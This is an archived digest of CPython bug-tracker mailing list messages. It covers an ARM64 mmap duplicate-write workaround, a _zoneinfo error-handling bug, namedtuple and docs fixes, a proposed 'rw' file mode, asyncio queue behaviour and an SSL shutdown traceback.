https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43131] MMAP duplicate reads and writes on ARM64 platform

[Paul Swirhun]

Paul Swirhun  added the comment:

A workaround is using memoryview (as reported here: 
https://stackoverflow.com/questions/53492716/python-writing-to-memory-in-a-single-operation).
 This results in only 1 transaction on the bus for some reason.

import os, mmap
fd = os.open("/dev/mem", os.O_RDWR | os.O_SYNC)
mapping = mmap.mmap(fd, 4096, flags=mmap.MAP_SHARED, prot=(mmap.PROT_READ | 
mmap.PROT_WRITE), offset=0x8000)
mv = memoryview(mapping)
mv_as_int32 = mv.cast('I')  # Note "I" works as intended, "L" still results in 
duplicate writes; "LL" is not an option
mv_as_int32[0x0 // 4] = 0xDEADBEEF  # this works; results in 1 write issued on 
the AXI bus

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43130] Should this construct throw an exception?

[Eric V. Smith]

Change by Eric V. Smith :


--
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43132] Incorrect handling of PyObject_RichCompareBool() in the _zoneinfo module

[Zackery Spytz]

New submission from Zackery Spytz :

PyObject_RichCompareBool() returns -1 on error, but this case is not handled
by the find_in_strong_cache() function.

--
components: Extension Modules
messages: 386503
nosy: ZackerySpytz
priority: normal
severity: normal
status: open
title: Incorrect handling of PyObject_RichCompareBool() in the _zoneinfo module
versions: Python 3.10, Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43132] Incorrect handling of PyObject_RichCompareBool() in the _zoneinfo module

[Zackery Spytz]

Change by Zackery Spytz :


--
keywords: +patch
pull_requests: +23251
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/24450

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43102] namedtuple's __new__.__globals__['__builtins__'] is None

[Raymond Hettinger]

Raymond Hettinger  added the comment:


New changeset b6d68aa08baebb753534a26d537ac3c0d2c21c79 by Raymond Hettinger in 
branch 'master':
bpo-43102:  Set namedtuple __new__'s internal builtins to a dict. (GH-24439)
https://github.com/python/cpython/commit/b6d68aa08baebb753534a26d537ac3c0d2c21c79


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43102] namedtuple's __new__.__globals__['__builtins__'] is None

[miss-islington]

Change by miss-islington :


--
nosy: +miss-islington
nosy_count: 2.0 -> 3.0
pull_requests: +23252
pull_request: https://github.com/python/cpython/pull/24452

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43102] namedtuple's __new__.__globals__['__builtins__'] is None

[Raymond Hettinger]

Raymond Hettinger  added the comment:


New changeset 29584aa6acbc70091dc23636db51ee1696e65072 by Miss Islington (bot) 
in branch '3.9':
bpo-43102:  Set namedtuple __new__'s internal builtins to a dict. (GH-24439) 
(GH-24452)
https://github.com/python/cpython/commit/29584aa6acbc70091dc23636db51ee1696e65072


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43102] namedtuple's __new__.__globals__['__builtins__'] is None

[Raymond Hettinger]

Raymond Hettinger  added the comment:

Okay, it's done.  Thanks for the motivating use case.

--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.10

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43068] test_subprocess: test_specific_shell() fails on AMD64 FreeBSD Shared 3.x

[Kubilay Kocak]

Kubilay Kocak  added the comment:

The failure mode is a generic "an external dependency expected by a test suite 
is not available or doesn't run", applying to many core Python test that 
invokes an external utilities, and not specific to OS.

As far as I'm aware, the best practice and recommendation for these cases is 
that 'tests should not test dependencies', and to skip/skipif these (external) 
dependencies are not available or fail to load/run.

Of course, the call is yours :)

I'll rebuild gdb/bash if you decide you don't want the error to remain to test 
improving the test suite.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43097] IndexError msg of random.choice() not helpful

[Raymond Hettinger]

Change by Raymond Hettinger :


--
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35295] Please clarify whether PyUnicode_AsUTF8AndSize() or PyUnicode_AsUTF8String() is preferred

[Inada Naoki]

Inada Naoki  added the comment:

> 1a. Declare both functions equally acceptable. Remove comments claiming that 
> PyUnicode_AsUTF8AndSize() should be avoided.
>
> 1b. 1a, and change the implementation of PyUnicode_AsUTF8AndSize() to avoid 
> allocating the string twice if it needs to be materialized, so that 
> PyUnicode_AsUTF8AndSize() is never significantly slower than 
> PyUnicode_AsUTF8String().

I think 1b is the best approach.

PyUnicode_AsUTF8AndSize() is optimized already. See GH-18327.
And it becomes limited API. See bpo-41784.

So we should just remove the outdated comments.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35295] Please clarify whether PyUnicode_AsUTF8AndSize() or PyUnicode_AsUTF8String() is preferred

[Inada Naoki]

Change by Inada Naoki :


--
versions: +Python 3.10 -Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35295] Please clarify whether PyUnicode_AsUTF8AndSize() or PyUnicode_AsUTF8String() is preferred

[Inada Naoki]

Change by Inada Naoki :


--
keywords: +patch
pull_requests: +23253
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/24453

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35295] Please clarify whether PyUnicode_AsUTF8AndSize() or PyUnicode_AsUTF8String() is preferred

[Inada Naoki]

Inada Naoki  added the comment:


New changeset d938816acf71a74f1bd13fdf0534b3d9ea962e44 by Inada Naoki in branch 
'master':
bpo-35295: Remove outdated comment. (GH-24453)
https://github.com/python/cpython/commit/d938816acf71a74f1bd13fdf0534b3d9ea962e44


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35295] Please clarify whether PyUnicode_AsUTF8AndSize() or PyUnicode_AsUTF8String() is preferred

[miss-islington]

Change by miss-islington :


--
nosy: +miss-islington
nosy_count: 5.0 -> 6.0
pull_requests: +23254
pull_request: https://github.com/python/cpython/pull/24454

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43133] Accept file mode "rw" to open-or-create a file and seek to the start

[Nick Coghlan]

New submission from Nick Coghlan :

After yet again trying to use "rw" to open a file in read/write mode, having it 
fail, and then having to look up the docs to remind myself that the correct 
spelling is "r+", I'm finally filing this to suggest we make the obvious "rw" 
spelling actually work.

Rather than making it an alias for any of the existing modes, I'd suggest that 
it combine the features of "r+" and "a+":

* like "r+" it would start the file pointer at the beginning of the file
* like "a+" it would create the file if it didn't exist, while leaving existing 
files alone

--
messages: 386510
nosy: ncoghlan
priority: low
severity: normal
status: open
title: Accept file mode "rw" to open-or-create a file and seek to the start
type: enhancement

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35295] Please clarify whether PyUnicode_AsUTF8AndSize() or PyUnicode_AsUTF8String() is preferred

[miss-islington]

miss-islington  added the comment:


New changeset b0b01811bb28d3d6c70846e47fa2f6ba03ed03f1 by Miss Islington (bot) 
in branch '3.9':
bpo-35295: Remove outdated comment. (GH-24453)
https://github.com/python/cpython/commit/b0b01811bb28d3d6c70846e47fa2f6ba03ed03f1


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue43119] asyncio.Queue.put never yields if the queue is unbounded

[Josh Rosenberg]

Josh Rosenberg  added the comment:

Making literally every await equivalent to:

await asyncio.sleep(0)

followed by the actual await (which is effectively what you're proposing when 
you expect all await to be preemptible) means adding non-trivial overhead to 
all async operations (asyncio is based on system calls of the 
select/poll/epoll/kpoll variety, which add meaningful overhead when we're 
talking about an operation that is otherwise equivalent to an extremely cheap 
simple collections.deque.append call). It also breaks many reasonable uses of 
asyncio.wait and asyncio.as_completed, where the caller can reasonably expect 
to be able to await the known-complete tasks without being preempted (if you 
know the coroutine is actually done, it could be quite surprising/problematic 
when you await it and get preempted, potentially requiring synchronization that 
wouldn't be necessary otherwise).

Making all await yield to the event loop would be like releasing the GIL before 
acquiring an uncontended lock; it makes an extremely cheap operation *much* 
higher overhead to, at best, fix a problem with poorly designed code. In real 
life, if whatever you're feeding the queue with is infinite and requires no 
awaiting to produce each value, you should probably just avoid the queue and 
have the consumer consume the iterable directly. Or just apply a maximum size 
to the queue; since the source of data to put is infinite and not-awaitable, 
there's no benefit to an unbounded queue, you may as well use a bound roughly 
fitted to the number of consumers, because any further items are just wasting 
memory well ahead of when it's needed.

Point is, regular queue puts only block (and potentially release the GIL early) 
when they're full or, as a necessary consequence of threading being less 
predictable than asyncio, when there is contention on the lock protecting the 
queue internals (which is usually resolved quickly); why would asyncio queues 
go out of their way to block when they don't need to?

--
nosy: +josh.r

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35295] Please clarify whether PyUnicode_AsUTF8AndSize() or PyUnicode_AsUTF8String() is preferred

[Inada Naoki]

Change by Inada Naoki :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue39617] max_workers argument to concurrent.futures.ProcessPoolExecutor is not flexible enough

[Christoph Anton Mitterer]

Change by Christoph Anton Mitterer :


--
nosy: +calestyo

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue39951] Ignore specific errors when closing ssl connections

[Fantix King]

Fantix King  added the comment:

This should/will be fixed by GH-17975 I think - like suggested in the OpenSSL 
comments, the proposed change will always try to run SSL_read() before 
SSL_shutdown(), even after the close_notify is sent.

--
nosy: +fantix

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue39951] Ignore specific errors when closing ssl connections

[Dima Tisnek]

Dima Tisnek  added the comment:

@fantix alas, no:

~/cpython (asvetlov--new-ssl|✚1) [1] > ./python.exe ~/repro-39951.py
Traceback (most recent call last):
  File "/Users/dima.tisnek/repro-39951.py", line 33, in 
asyncio.run(test())
  File "/Users/dima.tisnek/cpython/Lib/asyncio/runners.py", line 43, in run
return loop.run_until_complete(main)
  File "/Users/dima.tisnek/cpython/Lib/asyncio/base_events.py", line 642, in 
run_until_complete
return future.result()
  File "/Users/dima.tisnek/repro-39951.py", line 30, in test
await w.wait_closed()
  File "/Users/dima.tisnek/cpython/Lib/asyncio/streams.py", line 359, in 
wait_closed
await self._protocol._get_close_waiter(self)
  File "/Users/dima.tisnek/cpython/Lib/asyncio/sslproto.py", line 638, in 
_do_shutdown
self._sslobj.unwrap()
  File "/Users/dima.tisnek/cpython/Lib/ssl.py", line 948, in unwrap
return self._sslobj.shutdown()
ssl.SSLError: [SSL: KRB5_S_INIT] application data after close notify 
(_ssl.c:2730)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue39951] Ignore specific errors when closing ssl connections

[Dima Tisnek]

Dima Tisnek  added the comment:

Added 3.10 target.

--
versions: +Python 3.10

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com